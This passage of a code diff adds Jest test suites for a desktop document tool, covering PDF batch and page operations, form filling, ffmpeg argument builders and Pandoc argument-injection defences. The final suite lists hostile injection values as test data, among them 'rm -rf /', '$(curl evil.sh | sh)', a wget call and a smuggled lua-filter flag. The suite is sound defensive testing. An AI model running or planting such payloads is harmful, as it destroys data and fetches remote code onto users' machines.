    it('rejects when no PDFs are found', async () => {
      const { completion } = await runBatch({ operation: 'compress', data: {} });
      expect(completion).toEqual({
        success: false,
        error: 'No matching files found in the selected folder.',
      });
    });
    it('creates the output folder when it does not exist', async () => {
      await writePdfFixture(path.join(inputDir, 'a.pdf'), 1, 'Mkdir');
      const nestedOutput = path.join(tmpDir, 'deeply', 'nested', 'out');
      const { completion } = await runBatch({
        operation: 'compress',
        outputFolder: nestedOutput,
        data: {},
      });
      expect(completion).toMatchObject({ success: true, completed: 1 });
      expect(fs.existsSync(path.join(nestedOutput, 'a.pdf'))).toBe(true);
    });
    it('sanitizes output-folder creation errors through the injected sanitizer', async () => {
      // A regular file in the middle of the output path makes recursive mkdir
      // fail with ENOTDIR.
      const blocker = path.join(tmpDir, 'blocker');
      fs.writeFileSync(blocker, 'not a directory');
      await writePdfFixture(path.join(inputDir, 'a.pdf'), 1, 'Mkdir Fail');
      const { completion } = await runBatch({
        operation: 'compress',
        outputFolder: path.join(blocker, 'child'),
        data: {},
        sanitizeError: (message) => message.replace(new RegExp(path.sep, 'g'), '_SANITIZED_'),
      });
      expect(completion.success).toBe(false);
      expect(completion.error).toContain('Failed to create output folder');
      expect(completion.error).toContain('_SANITIZED_');
    });
  });
  describe('progress reporting', () => {
    it('reports one event per file plus a final event, following the batch-progress shape', async () => {
      await writePdfFixture(path.join(inputDir, 'a.pdf'), 1, 'A');
      await writePdfFixture(path.join(inputDir, 'b.pdf'), 1, 'B');
      const { progress } = await runBatch({ operation: 'compress', data: {} });
      expect(progress).toHaveLength(3);
      expect(progress[0]).toEqual({
        completed: 0,
        failed: 0,
        total: 2,
        currentFile: expect.stringMatching(/^[ab]\.pdf$/),
      });
      expect(progress[1]).toMatchObject({ completed: 1, failed: 0, total: 2 });
      expect(progress[2]).toEqual({ completed: 2, failed: 0, total: 2, currentFile: null });
    });
    it('carries the running failed count in progress events', async () => {
      await writePdfFixture(path.join(inputDir, 'good.pdf'), 1, 'Good');
      fs.writeFileSync(path.join(inputDir, 'corrupt.pdf'), 'not a pdf');
      const { progress } = await runBatch({ operation: 'compress', data: {} });
      // Final event reflects the failure; earlier events carry the running count.
      expect(progress[progress.length - 1]).toEqual({
        completed: 1,
        failed: 1,
        total: 2,
        currentFile: null,
      });
    });
  });
 });
@@ -0,0 +1,545 @@
 /**
 * @jest-environment node
 *
 * PDFOperations.js tests for Task 15's new operations: extractText, pageNumbers,
 * crop, extractImages. Uses pdf-lib to build minimal fixture PDFs at test time,
 * mirroring the fixture pattern used by tests/main/ImageOperations.test.js.
 *
 * NOTE: pdfExtractText/pdfExtractImages use pdfjs-dist (ESM-only) via a dynamic
 * `import()`, which requires Node's `--experimental-vm-modules` flag under Jest
 * (set via NODE_OPTIONS in the npm test scripts) and a `node` test environment
 * (jsdom lacks the fetch API globals pdfjs-dist needs).
 */
 const fs = require('fs');
 const os = require('os');
 const path = require('path');
 const sharp = require('sharp');
 const { PDFDocument, StandardFonts, rgb } = require('pdf-lib');
 const PDFOperations = require('../../src/main/PDFOperations');
 describe('PDFOperations - Task 15 new operations', () => {
  let tmpDir, inputPath;
  beforeEach(async () => {
    tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'pdfops_'));
    inputPath = path.join(tmpDir, 'in.pdf');
    const doc = await PDFDocument.create();
    const font = await doc.embedFont(StandardFonts.Helvetica);
    const page1 = doc.addPage([600, 800]);
    page1.drawText('Hello Task 15 Page One', {
      x: 50,
      y: 700,
      size: 20,
      font,
      color: rgb(0, 0, 0),
    });
    const page2 = doc.addPage([600, 800]);
    page2.drawText('Second Page Content', { x: 50, y: 700, size: 20, font, color: rgb(0, 0, 0) });
    fs.writeFileSync(inputPath, await doc.save());
  });
  afterEach(() => {
    fs.rmSync(tmpDir, { recursive: true, force: true });
  });
  describe('pdfExtractText', () => {
    it('extracts text from all pages', async () => {
      const result = await PDFOperations.pdfExtractText({ inputPath });
      expect(result.success).toBe(true);
      expect(result.text).toContain('Hello Task 15 Page One');
      expect(result.text).toContain('Second Page Content');
    });
    it('returns failure for a nonexistent file', async () => {
      const result = await PDFOperations.pdfExtractText({
        inputPath: path.join(tmpDir, 'missing.pdf'),
      });
      expect(result.success).toBe(false);
      expect(result.error).toBeTruthy();
    });
    it('also saves the text to outputPath when provided', async () => {
      const outputPath = path.join(tmpDir, 'extracted.txt');
      const result = await PDFOperations.pdfExtractText({ inputPath, outputPath });
      expect(result.success).toBe(true);
      expect(fs.existsSync(outputPath)).toBe(true);
      const saved = fs.readFileSync(outputPath, 'utf8');
      expect(saved).toContain('Hello Task 15 Page One');
      expect(result.message).toContain(outputPath);
    });
  });
  describe('pdfAddPageNumbers', () => {
    it('adds a page number to every page at the requested position', async () => {
      const outputPath = path.join(tmpDir, 'numbered.pdf');
      const result = await PDFOperations.pdfAddPageNumbers({
        inputPath,
        outputPath,
        position: 'bottom-center',
        startNumber: 1,
      });
      expect(result.success).toBe(true);
      expect(fs.existsSync(outputPath)).toBe(true);
      const extracted = await PDFOperations.pdfExtractText({ inputPath: outputPath });
      expect(extracted.success).toBe(true);
      expect(extracted.text).toContain('1');
      expect(extracted.text).toContain('2');
      const savedPdf = await PDFDocument.load(fs.readFileSync(outputPath));
      expect(savedPdf.getPageCount()).toBe(2);
    });
    it('honors a custom startNumber', async () => {
      const outputPath = path.join(tmpDir, 'numbered-start5.pdf');
      const result = await PDFOperations.pdfAddPageNumbers({
        inputPath,
        outputPath,
        position: 'bottom-right',
        startNumber: 5,
      });
      expect(result.success).toBe(true);
      const extracted = await PDFOperations.pdfExtractText({ inputPath: outputPath });
      expect(extracted.text).toContain('5');
      expect(extracted.text).toContain('6');
    });
  });
  describe('pdfCrop', () => {
    it('shrinks the crop box by the given margins', async () => {
      const outputPath = path.join(tmpDir, 'cropped.pdf');
      const result = await PDFOperations.pdfCrop({
        inputPath,
        outputPath,
        margins: { top: 50, bottom: 50, left: 20, right: 20 },
      });
      expect(result.success).toBe(true);
      expect(fs.existsSync(outputPath)).toBe(true);
      const croppedPdf = await PDFDocument.load(fs.readFileSync(outputPath));
      const page = croppedPdf.getPage(0);
      const cropBox = page.getCropBox();
      expect(cropBox.x).toBe(20);
      expect(cropBox.y).toBe(50);
      expect(cropBox.width).toBe(560); // 600 - 20 - 20
      expect(cropBox.height).toBe(700); // 800 - 50 - 50
    });
    it('fails gracefully when margins exceed the page size', async () => {
      const outputPath = path.join(tmpDir, 'cropped-invalid.pdf');
      const result = await PDFOperations.pdfCrop({
        inputPath,
        outputPath,
        margins: { top: 500, bottom: 500, left: 0, right: 0 },
      });
      expect(result.success).toBe(false);
      expect(result.error).toBeTruthy();
    });
  });
  describe('pdfExtractImages', () => {
    it('extracts embedded raster images as PNG files', async () => {
      const imgPath = path.join(tmpDir, 'red.png');
      await sharp({
        create: { width: 20, height: 20, channels: 3, background: { r: 255, g: 0, b: 0 } },
      })
        .png()
        .toFile(imgPath);
      const doc = await PDFDocument.create();
      const page = doc.addPage([300, 300]);
      const pngImage = await doc.embedPng(fs.readFileSync(imgPath));
      page.drawImage(pngImage, { x: 50, y: 50, width: 100, height: 100 });
      const imagePdfPath = path.join(tmpDir, 'with-image.pdf');
      fs.writeFileSync(imagePdfPath, await doc.save());
      const outputDir = path.join(tmpDir, 'extracted');
      const result = await PDFOperations.pdfExtractImages({
        inputPath: imagePdfPath,
        outputDir,
      });
      expect(result.success).toBe(true);
      expect(result.count).toBeGreaterThanOrEqual(1);
      expect(result.files.length).toBe(result.count);
      for (const file of result.files) {
        expect(fs.existsSync(file)).toBe(true);
        const meta = await sharp(file).metadata();
        expect(meta.format).toBe('png');
      }
    });
    it('returns zero images for a text-only PDF', async () => {
      const outputDir = path.join(tmpDir, 'extracted-none');
      const result = await PDFOperations.pdfExtractImages({ inputPath, outputDir });
      expect(result.success).toBe(true);
      expect(result.count).toBe(0);
      expect(result.files).toEqual([]);
    });
  });
  describe('executeOperation dispatch', () => {
    it('dispatches extractText', async () => {
      const result = await PDFOperations.executeOperation('extractText', { inputPath });
      expect(result.success).toBe(true);
    });
    it('dispatches pageNumbers', async () => {
      const outputPath = path.join(tmpDir, 'dispatch-numbered.pdf');
      const result = await PDFOperations.executeOperation('pageNumbers', {
        inputPath,
        outputPath,
        position: 'bottom-center',
        startNumber: 1,
      });
      expect(result.success).toBe(true);
    });
    it('dispatches crop', async () => {
      const outputPath = path.join(tmpDir, 'dispatch-cropped.pdf');
      const result = await PDFOperations.executeOperation('crop', {
        inputPath,
        outputPath,
        margins: { top: 10, bottom: 10, left: 10, right: 10 },
      });
      expect(result.success).toBe(true);
    });
    it('dispatches extractImages', async () => {
      const outputDir = path.join(tmpDir, 'dispatch-extracted');
      const result = await PDFOperations.executeOperation('extractImages', {
        inputPath,
        outputDir,
      });
      expect(result.success).toBe(true);
    });
  });
 });
 describe('PDFOperations - Task 16 form field fill/flatten', () => {
  let tmpDir, plainInputPath;
  beforeEach(async () => {
    tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'pdfops_form_'));
    plainInputPath = path.join(tmpDir, 'plain.pdf');
    const doc = await PDFDocument.create();
    doc.addPage([600, 800]);
    fs.writeFileSync(plainInputPath, await doc.save());
  });
  afterEach(() => {
    fs.rmSync(tmpDir, { recursive: true, force: true });
  });
  // Builds a fixture PDF with a real AcroForm text field via pdf-lib's
  // form.createTextField() API, mirroring pdf-lib's documented form-creation flow.
  async function buildFormPdf(fileName, initialValue = 'John Doe') {
    const doc = await PDFDocument.create();
    const page = doc.addPage([600, 800]);
    const form = doc.getForm();
    const nameField = form.createTextField('name');
    nameField.setText(initialValue);
    nameField.addToPage(page, { x: 50, y: 700, width: 200, height: 20 });
    const filePath = path.join(tmpDir, fileName);
    fs.writeFileSync(filePath, await doc.save());
    return filePath;
  }
  describe('pdfGetFormFields', () => {
    it('lists text fields with name, type, and current value', async () => {
      const formPath = await buildFormPdf('form.pdf', 'John Doe');
      const result = await PDFOperations.pdfGetFormFields({ inputPath: formPath });
      expect(result.success).toBe(true);
      expect(result.fields).toEqual([{ name: 'name', type: 'PDFTextField', value: 'John Doe' }]);
    });
    it('returns an empty fields array for a PDF with no AcroForm', async () => {
      const result = await PDFOperations.pdfGetFormFields({ inputPath: plainInputPath });
      expect(result.success).toBe(true);
      expect(result.fields).toEqual([]);
    });
    it('returns failure for a nonexistent file', async () => {
      const result = await PDFOperations.pdfGetFormFields({
        inputPath: path.join(tmpDir, 'missing.pdf'),
      });
      expect(result.success).toBe(false);
      expect(result.error).toBeTruthy();
    });
  });
  describe('pdfFillForm', () => {
    it('fills a text field with the given value', async () => {
      const formPath = await buildFormPdf('form.pdf', '');
      const outputPath = path.join(tmpDir, 'filled.pdf');
      const result = await PDFOperations.pdfFillForm({
        inputPath: formPath,
        outputPath,
        values: { name: 'Jane Smith' },
      });
      expect(result.success).toBe(true);
      expect(fs.existsSync(outputPath)).toBe(true);
      const filled = await PDFDocument.load(fs.readFileSync(outputPath));
      expect(filled.getForm().getTextField('name').getText()).toBe('Jane Smith');
    });
    it('flattens the form when flatten is true, removing editable fields', async () => {
      const formPath = await buildFormPdf('form.pdf', '');
      const outputPath = path.join(tmpDir, 'flattened.pdf');
      const result = await PDFOperations.pdfFillForm({
        inputPath: formPath,
        outputPath,
        values: { name: 'Jane Smith' },
        flatten: true,
      });
      expect(result.success).toBe(true);
      const flattened = await PDFDocument.load(fs.readFileSync(outputPath));
      expect(flattened.getForm().getFields().length).toBe(0);
    });
    it('does not flatten when flatten is false/omitted', async () => {
      const formPath = await buildFormPdf('form.pdf', '');
      const outputPath = path.join(tmpDir, 'not-flattened.pdf');
      const result = await PDFOperations.pdfFillForm({
        inputPath: formPath,
        outputPath,
        values: { name: 'Jane Smith' },
      });
      expect(result.success).toBe(true);
      const notFlattened = await PDFDocument.load(fs.readFileSync(outputPath));
      expect(notFlattened.getForm().getFields().length).toBe(1);
    });
    it('skips a value for a field that does not exist, continuing with the rest', async () => {
      const formPath = await buildFormPdf('form.pdf', '');
      const outputPath = path.join(tmpDir, 'filled-partial.pdf');
      const result = await PDFOperations.pdfFillForm({
        inputPath: formPath,
        outputPath,
        values: { name: 'Jane Smith', doesNotExist: 'whatever' },
      });
      expect(result.success).toBe(true);
      const filled = await PDFDocument.load(fs.readFileSync(outputPath));
      expect(filled.getForm().getTextField('name').getText()).toBe('Jane Smith');
    });
    it('returns failure for a nonexistent input file', async () => {
      const result = await PDFOperations.pdfFillForm({
        inputPath: path.join(tmpDir, 'missing.pdf'),
        outputPath: path.join(tmpDir, 'out.pdf'),
        values: { name: 'X' },
      });
      expect(result.success).toBe(false);
      expect(result.error).toBeTruthy();
    });
  });
  describe('executeOperation dispatch', () => {
    it('dispatches formFields', async () => {
      const formPath = await buildFormPdf('form.pdf', 'John Doe');
      const result = await PDFOperations.executeOperation('formFields', { inputPath: formPath });
      expect(result.success).toBe(true);
      expect(result.fields.length).toBe(1);
    });
    it('dispatches fillForm', async () => {
      const formPath = await buildFormPdf('form.pdf', '');
      const outputPath = path.join(tmpDir, 'dispatch-filled.pdf');
      const result = await PDFOperations.executeOperation('fillForm', {
        inputPath: formPath,
        outputPath,
        values: { name: 'Dispatch Test' },
      });
      expect(result.success).toBe(true);
    });
  });
 });
 describe('PDFOperations - Task 27 honest encryption failure', () => {
  let tmpDir, inputPath;
  beforeEach(async () => {
    tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'pdfops_pw_'));
    inputPath = path.join(tmpDir, 'in.pdf');
    const doc = await PDFDocument.create();
    doc.addPage([600, 800]);
    fs.writeFileSync(inputPath, await doc.save());
  });
  afterEach(() => {
    fs.rmSync(tmpDir, { recursive: true, force: true });
  });
  it('detects the bundled pdf-lib as encryption-incapable via the module-load probe', async () => {
    // Pins the Task 27 premise: pdf-lib 1.17.1's save() ignores password
    // options (SaveOptions has no such fields), so the probe — which saves a
    // tiny document with a userPassword and checks the bytes for /Encrypt —
    // must report false. If this fails after a library swap, the probe
    // re-enabled the ops and the honest-failure tests below no longer apply.
    await expect(PDFOperations.pdfEncryptionSupported).resolves.toBe(false);
  });
  it('pdfEncrypt fails honestly without writing an output file', async () => {
    const outputPath = path.join(tmpDir, 'encrypted.pdf');
    const result = await PDFOperations.pdfEncrypt({
      inputPath,
      outputPath,
      userPassword: 'secret',
      ownerPassword: 'owner-secret',
      permissions: { printing: true },
    });
    expect(result.success).toBe(false);
    expect(result.message).toBe(PDFOperations.PDF_ENCRYPTION_UNAVAILABLE_MESSAGE);
    expect(fs.existsSync(outputPath)).toBe(false);
  });
  it('pdfDecrypt fails honestly without writing an output file', async () => {
    const outputPath = path.join(tmpDir, 'decrypted.pdf');
    const result = await PDFOperations.pdfDecrypt({
      inputPath,
      outputPath,
      password: 'secret',
    });
    expect(result.success).toBe(false);
    expect(result.message).toBe(PDFOperations.PDF_ENCRYPTION_UNAVAILABLE_MESSAGE);
    expect(fs.existsSync(outputPath)).toBe(false);
  });
  it('pdfSetPermissions fails honestly without writing an output file', async () => {
    const outputPath = path.join(tmpDir, 'permissions.pdf');
    const result = await PDFOperations.pdfSetPermissions({
      inputPath,
      outputPath,
      ownerPassword: 'owner-secret',
      permissions: { printing: true },
    });
    expect(result.success).toBe(false);
    expect(result.message).toBe(PDFOperations.PDF_ENCRYPTION_UNAVAILABLE_MESSAGE);
    expect(fs.existsSync(outputPath)).toBe(false);
  });
  it('fails honestly even before reading the input, so a missing input reports unavailability', async () => {
    const result = await PDFOperations.pdfEncrypt({
      inputPath: path.join(tmpDir, 'missing.pdf'),
      outputPath: path.join(tmpDir, 'never-written.pdf'),
      userPassword: 'secret',
    });
    expect(result.success).toBe(false);
    expect(result.message).toBe(PDFOperations.PDF_ENCRYPTION_UNAVAILABLE_MESSAGE);
    expect(fs.existsSync(path.join(tmpDir, 'never-written.pdf'))).toBe(false);
  });
  it('executeOperation routes the password ops to the honest failure', async () => {
    const result = await PDFOperations.executeOperation('encrypt', {
      inputPath,
      outputPath: path.join(tmpDir, 'exec-encrypted.pdf'),
      userPassword: 'secret',
      permissions: { printing: true },
    });
    expect(result.success).toBe(false);
    expect(result.message).toBe(PDFOperations.PDF_ENCRYPTION_UNAVAILABLE_MESSAGE);
  });
  it('the module-load probe does not affect other operations', async () => {
    const outputPath = path.join(tmpDir, 'rotated.pdf');
    const result = await PDFOperations.pdfRotate({
      inputPath,
      outputPath,
      pages: '1',
      angle: 90,
    });
    expect(result.success).toBe(true);
    expect(fs.existsSync(outputPath)).toBe(true);
    const rotated = await PDFDocument.load(fs.readFileSync(outputPath));
    expect(rotated.getPageCount()).toBe(1);
  });
 });
 describe('PDFOperations - pdfSplit interval guard', () => {
  let tmpDir, inputPath, outputFolder;
  beforeEach(async () => {
    tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'pdfops_split_'));
    inputPath = path.join(tmpDir, 'in.pdf');
    outputFolder = path.join(tmpDir, 'out');
    fs.mkdirSync(outputFolder);
    const doc = await PDFDocument.create();
    doc.addPage([600, 800]);
    doc.addPage([600, 800]);
    fs.writeFileSync(inputPath, await doc.save());
  });
  afterEach(() => {
    fs.rmSync(tmpDir, { recursive: true, force: true });
  });
  // A non-positive (or non-integer) interval previously made the split loop
  // spin forever (i += 0 never advances the counter), so Jest's per-test
  // timeout is the hang detector for these cases.
  it.each([0, -1, 1.5])(
    'rejects interval %s without writing any output files',
    async (interval) => {
      const result = await PDFOperations.pdfSplit({
        inputPath,
        outputFolder,
        splitMode: 'interval',
        interval,
      });
      expect(result.success).toBe(false);
      expect(result.message).toBe('Split interval must be a positive integer.');
      expect(fs.readdirSync(outputFolder)).toEqual([]);
    }
  );
  it('still splits every N pages for a valid positive interval', async () => {
    const result = await PDFOperations.pdfSplit({
      inputPath,
      outputFolder,
      splitMode: 'interval',
      interval: 1,
    });
    expect(result.success).toBe(true);
    expect(fs.readdirSync(outputFolder).sort()).toEqual(['in_part_1.pdf', 'in_part_2.pdf']);
  });
 });
@@ -0,0 +1,155 @@
 const fs = require('fs');
 const path = require('path');
 const VideoOperations = require('../../src/main/VideoOperations');
 describe('VideoOperations argument builders', () => {
  test('buildConvertArgs builds correct ffmpeg args', () => {
    const args = VideoOperations.buildConvertArgs({ inputPath: '/a.mov', outputPath: '/b.mp4' });
    expect(args).toEqual(['-i', '/a.mov', '-y', '/b.mp4']);
  });
  test('buildCompressArgs builds correct compress args with given crf', () => {
    const args = VideoOperations.buildCompressArgs({
      inputPath: '/a.mp4',
      outputPath: '/b.mp4',
      crf: 23,
    });
    expect(args).toEqual(['-i', '/a.mp4', '-vcodec', 'libx264', '-crf', '23', '-y', '/b.mp4']);
  });
  test('buildCompressArgs defaults crf to 28', () => {
    const args = VideoOperations.buildCompressArgs({ inputPath: '/a.mp4', outputPath: '/b.mp4' });
    expect(args).toEqual(['-i', '/a.mp4', '-vcodec', 'libx264', '-crf', '28', '-y', '/b.mp4']);
  });
  test('buildCompressArgs rejects out-of-range crf', () => {
    expect(() =>
      VideoOperations.buildCompressArgs({ inputPath: '/a.mp4', outputPath: '/b.mp4', crf: 52 })
    ).toThrow();
  });
  test('buildCompressArgs rejects non-integer crf', () => {
    expect(() =>
      VideoOperations.buildCompressArgs({ inputPath: '/a.mp4', outputPath: '/b.mp4', crf: 12.5 })
    ).toThrow();
  });
  test('buildTrimArgs builds correct trim args', () => {
    const args = VideoOperations.buildTrimArgs({
      inputPath: '/a.mp4',
      outputPath: '/b.mp4',
      startTime: 5,
      duration: 10,
    });
    expect(args).toEqual(['-i', '/a.mp4', '-ss', '5', '-t', '10', '-y', '/b.mp4']);
  });
  test('buildTrimArgs rejects non-finite startTime', () => {
    expect(() =>
      VideoOperations.buildTrimArgs({
        inputPath: '/a.mp4',
        outputPath: '/b.mp4',
        startTime: NaN,
        duration: 10,
      })
    ).toThrow('Invalid trim range');
  });
  test('buildFramesArgs builds correct frame extraction args with given fps', () => {
    const args = VideoOperations.buildFramesArgs({
      inputPath: '/a.mp4',
      outputDir: '/out',
      fps: 2,
    });
    expect(args).toEqual(['-i', '/a.mp4', '-vf', 'fps=2', path.join('/out', 'frame-%04d.png')]);
  });
  test('buildFramesArgs defaults fps to 1', () => {
    const args = VideoOperations.buildFramesArgs({ inputPath: '/a.mp4', outputDir: '/out' });
    expect(args).toEqual(['-i', '/a.mp4', '-vf', 'fps=1', path.join('/out', 'frame-%04d.png')]);
  });
  test('buildFramesArgs rejects non-positive fps', () => {
    expect(() =>
      VideoOperations.buildFramesArgs({ inputPath: '/a.mp4', outputDir: '/out', fps: 0 })
    ).toThrow();
  });
  test('buildFramesArgs rejects non-finite fps', () => {
    expect(() =>
      VideoOperations.buildFramesArgs({ inputPath: '/a.mp4', outputDir: '/out', fps: Infinity })
    ).toThrow();
  });
  test('buildGifArgs builds correct gif args with defaults', () => {
    const args = VideoOperations.buildGifArgs({ inputPath: '/a.mp4', outputPath: '/b.gif' });
    expect(args).toEqual([
      '-i',
      '/a.mp4',
      '-vf',
      'fps=10,scale=480:-1:flags=lanczos',
      '-y',
      '/b.gif',
    ]);
  });
  test('buildGifArgs builds correct gif args with given fps and width', () => {
    const args = VideoOperations.buildGifArgs({
      inputPath: '/a.mp4',
      outputPath: '/b.gif',
      fps: 15,
      width: 320,
    });
    expect(args).toEqual([
      '-i',
      '/a.mp4',
      '-vf',
      'fps=15,scale=320:-1:flags=lanczos',
      '-y',
      '/b.gif',
    ]);
  });
 });
 describe('VideoOperations.executeOperation', () => {
  test('convert calls execFileFn with ffmpeg path and args, resolves success', async () => {
    const execFileFn = (cmd, args, opts, cb) => cb(null, '', '');
    const result = await VideoOperations.executeOperation(
      'convert',
      { inputPath: '/a.mov', outputPath: '/b.mp4' },
      { ffmpegPath: '/usr/bin/ffmpeg', execFileFn }
    );
    expect(result.success).toBe(true);
    expect(result.outputPath).toBe('/b.mp4');
  });
  test('frames creates the output directory before spawning ffmpeg and resolves success', async () => {
    const mkdirSpy = jest.spyOn(fs, 'mkdirSync').mockImplementation(() => {});
    const execFileFn = jest.fn((cmd, args, opts, cb) => cb(null, '', ''));
    const result = await VideoOperations.executeOperation(
      'frames',
      { inputPath: '/a.mp4', outputDir: '/out', fps: 1 },
      { ffmpegPath: '/usr/bin/ffmpeg', execFileFn }
    );
    expect(mkdirSpy).toHaveBeenCalledWith('/out', { recursive: true });
    expect(mkdirSpy.mock.invocationCallOrder[0]).toBeLessThan(
      execFileFn.mock.invocationCallOrder[0]
    );
    expect(result.success).toBe(true);
    expect(result.outputDir).toBe('/out');
    mkdirSpy.mockRestore();
  });
  test('unknown operation rejects', async () => {
    await expect(
      VideoOperations.executeOperation(
        'bogus',
        {},
        { ffmpegPath: '/usr/bin/ffmpeg', execFileFn: () => {} }
      )
    ).rejects.toThrow();
  });
 });
@@ -0,0 +1,60 @@
 const fs = require('fs');
 const os = require('os');
 const path = require('path');
 const { collectFilesByExtension } = require('../../src/main/collectFilesByExtension');
 describe('collectFilesByExtension', () => {
  let tmpDir;
  beforeEach(() => {
    tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'collectext_'));
    fs.writeFileSync(path.join(tmpDir, 'a.jpg'), 'x');
    fs.writeFileSync(path.join(tmpDir, 'b.PNG'), 'x'); // uppercase extension
    fs.writeFileSync(path.join(tmpDir, 'c.txt'), 'x');
    fs.mkdirSync(path.join(tmpDir, 'sub'));
    fs.writeFileSync(path.join(tmpDir, 'sub', 'd.jpeg'), 'x');
    fs.mkdirSync(path.join(tmpDir, 'sub', 'nested'));
    fs.writeFileSync(path.join(tmpDir, 'sub', 'nested', 'e.jpg'), 'x');
  });
  afterEach(() => {
    fs.rmSync(tmpDir, { recursive: true, force: true });
  });
  test('matches only files with a listed extension at the top level when includeSubfolders is false', () => {
    const results = collectFilesByExtension(tmpDir, ['.jpg', '.png'], false);
    const names = results.map((p) => path.basename(p)).sort();
    expect(names).toEqual(['a.jpg', 'b.PNG']);
  });
  test('matches extensions case-insensitively', () => {
    const results = collectFilesByExtension(tmpDir, ['.png'], false);
    expect(results.map((p) => path.basename(p))).toEqual(['b.PNG']);
  });
  test('recurses into subfolders when includeSubfolders is true (default)', () => {
    const results = collectFilesByExtension(tmpDir, ['.jpg', '.jpeg']);
    const names = results.map((p) => path.basename(p)).sort();
    expect(names).toEqual(['a.jpg', 'd.jpeg', 'e.jpg']);
  });
  test('does not recurse when includeSubfolders is false', () => {
    const results = collectFilesByExtension(tmpDir, ['.jpg', '.jpeg'], false);
    expect(results.map((p) => path.basename(p))).toEqual(['a.jpg']);
  });
  test('excludes non-matching extensions', () => {
    const results = collectFilesByExtension(tmpDir, ['.jpg']);
    expect(results.some((p) => p.endsWith('.txt'))).toBe(false);
  });
  test('returns an empty array when nothing matches', () => {
    const results = collectFilesByExtension(tmpDir, ['.mp4']);
    expect(results).toEqual([]);
  });
  test('defaults extensions to an empty list gracefully when omitted', () => {
    expect(() => collectFilesByExtension(tmpDir, undefined, false)).not.toThrow();
    expect(collectFilesByExtension(tmpDir, undefined, false)).toEqual([]);
  });
 });
@@ -0,0 +1,327 @@
 /**
 * Security and regression tests for the Pandoc argument builders (SEC-1).
 *
 * Pandoc must always be invoked as execFile(pandocPath, args) with an argument
 * array — never a shell-style command string that gets re-tokenized. These
 * tests prove that user-controlled values (file paths, template names,
 * metadata, footer text) can only ever arrive as single literal argv elements,
 * and pin the argument shape of every export format to its pre-conversion
 * behavior.
 */
 const PandocArgs = require('../../src/main/PandocArgs');
 const {
  SIMPLE_TARGET_FORMATS,
  appendCommonOptions,
  appendFooterVariable,
  appendPdfEngineOptions,
  buildPandocArgs,
  buildSimpleTargetArgs,
 } = PandocArgs;
 /**
 * Verbatim copy of the retired main.js tokenizer (removed with the fix).
 * parseCommand had no escape handling, so any value containing a quote
 * character split into multiple argv elements. Kept here only to prove the
 * old path was exploitable and to pin the new arrays against the old output
 * for benign input.
 */
 function retiredParseCommand(cmdString) {
  const parts = [];
  let current = '';
  let inQuotes = false;
  let quoteChar = '';
  for (let i = 0; i < cmdString.length; i++) {
    const char = cmdString[i];
    if ((char === '"' || char === "'") && !inQuotes) {
      inQuotes = true;
      quoteChar = char;
    } else if (char === quoteChar && inQuotes) {
      inQuotes = false;
      quoteChar = '';
    } else if (char === ' ' && !inQuotes) {
      if (current) {
        parts.push(current);
        current = '';
      }
    } else {
      current += char;
    }
  }
  if (current) {
    parts.push(current);
  }
  return { command: parts[0], args: parts.slice(1) };
 }
 // Asserts that `value` arrives in argv as exactly one literal element (if the
 // value were split or re-interpreted, no element would equal it) and that no
 // injected flag ever becomes its own argv element.
 function expectSingleLiteralArg(args, value, ...injectedFragments) {
  expect(args.filter((a) => a === value)).toHaveLength(1);
  for (const fragment of injectedFragments) {
    expect(args).not.toContain(fragment);
  }
 }
 describe('PandocArgs injection resistance (SEC-1)', () => {
  const maliciousVectors = [
    '/tmp/x.bib" --lua-filter=/tmp/evil.lua -o "/tmp/x.bib',
    '/home/u/notes; rm -rf /',
    '/tmp/$(curl evil.sh | sh)',
    '/tmp/`wget evil.sh`',
    '/tmp/my file with spaces.bib',
    "/tmp/it's-quoted.bib",
    '/tmp/trailing\\backslash.bib"',
  ];
  describe.each([
    [
      'bibliography',
      (options) => buildPandocArgs({ inputFile: '/in.md', outputFile: '/out.pdf', options }),
    ],
    ['csl', (options) => buildPandocArgs({ inputFile: '/in.md', outputFile: '/out.pdf', options })],
    [
      'template',
      (options) => buildPandocArgs({ inputFile: '/in.md', outputFile: '/out.pdf', options }),
    ],
  ])('%s cannot inject extra pandoc flags', (field, build) => {
    test.each(maliciousVectors)('value %j stays one literal argv element', (vector) => {
      const args = build({ [field]: vector });
      expectSingleLiteralArg(
        args,
        `--${field}=${vector}`,
        '--lua-filter=/tmp/evil.lua',
        'rm',
        '-rf',
        '--filter'
      );
      expect(args.slice(0, 2)).toEqual(['/in.md', '-o']);
      expect(args.filter((a) => a === '/out.pdf')).toHaveLength(1);
    });
  });
  test('metadata values cannot inject extra pandoc flags', () => {
    const vector = 'title"; --lua-filter=/tmp/evil.lua; rm -rf /';
    const args = buildPandocArgs({
      inputFile: '/in.md',
      outputFile: '/out.pdf',
      options: { metadata: { title: vector, author: 'Jane Doe' } },
    });
    expectSingleLiteralArg(args, `title=${vector}`, '--lua-filter=/tmp/evil.lua', 'rm', '-rf');
    expect(args).toContain('-M');
    expect(args).toContain('author=Jane Doe');
  });
  test('metadata keys cannot inject extra pandoc flags', () => {
    const key = 'title" --lua-filter=/tmp/evil.lua';
    const args = buildPandocArgs({
      inputFile: '/in.md',
      outputFile: '/out.pdf',
      options: { metadata: { [key]: 'value' } },
    });
    expectSingleLiteralArg(args, `${key}=value`, '--lua-filter=/tmp/evil.lua');
  });
  test('variable values cannot inject extra pandoc flags', () => {
    const vector = 'margin=1in" --lua-filter=/tmp/evil.lua';
    const args = buildPandocArgs({
      inputFile: '/in.md',
      outputFile: '/out.pdf',
      options: { variables: { geometry: vector } },
    });
    expectSingleLiteralArg(args, `geometry=${vector}`, '--lua-filter=/tmp/evil.lua');
    expect(args).toContain('-V');
  });
  test('input and output paths cannot inject extra pandoc flags or change position', () => {
    const input = '/tmp/my doc; rm -rf / $(evil) `evil`.md';
    const output = '/tmp/out put"; --lua-filter=/tmp/evil.lua.pdf';
    const args = buildPandocArgs({ inputFile: input, outputFile: output });
    expect(args[0]).toBe(input);
    expect(args[1]).toBe('-o');
    expect(args[2]).toBe(output);
    expect(args).toHaveLength(3);
    expect(args).not.toContain('--lua-filter=/tmp/evil.lua');
    expect(args).not.toContain('rm');
  });
  test('pdf engine and geometry values cannot inject extra pandoc flags', () => {
    const args = [];
    appendPdfEngineOptions(args, {
      pdfEngine: 'xelatex" --lua-filter=/tmp/evil.lua',
